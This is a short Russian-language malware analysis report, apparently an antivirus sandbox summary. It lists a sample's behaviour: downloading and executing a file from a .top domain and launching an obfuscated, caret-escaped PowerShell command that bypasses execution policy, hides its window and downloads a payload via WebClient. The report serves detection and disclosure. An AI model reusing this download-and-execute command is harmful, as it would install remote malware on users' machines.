Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^W^E^RsH^eL^l.^e^xe^ ^-eXEc^uT^IoN^poliCY ^bYp^as^S -NopR^ofIle^ ^-wi^N^d^oW^sty^L^e ^h^idDE^N^ (ne^W-o^bJ^ec^T^ sY^S^TeM^.Net.^we^b^C^li^E^Nt).DO^wN^lo^a^dFi^lE^('http://to...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^W^E^RsH^eL^l.^e^xe^ ^-eXEc^uT^IoN^poliCY ^bYp^as^S -NopR^ofIle^ ^-wi^N^d^oW^sty^L^e ^h^idDE^N^ (ne^W-o^bJ^ec^T^ sY^S^TeM^.Net.^we^b^C^li^E^Nt).DO^wN^lo^a^dFi^lE^('http://to...' (со скрытым окном)
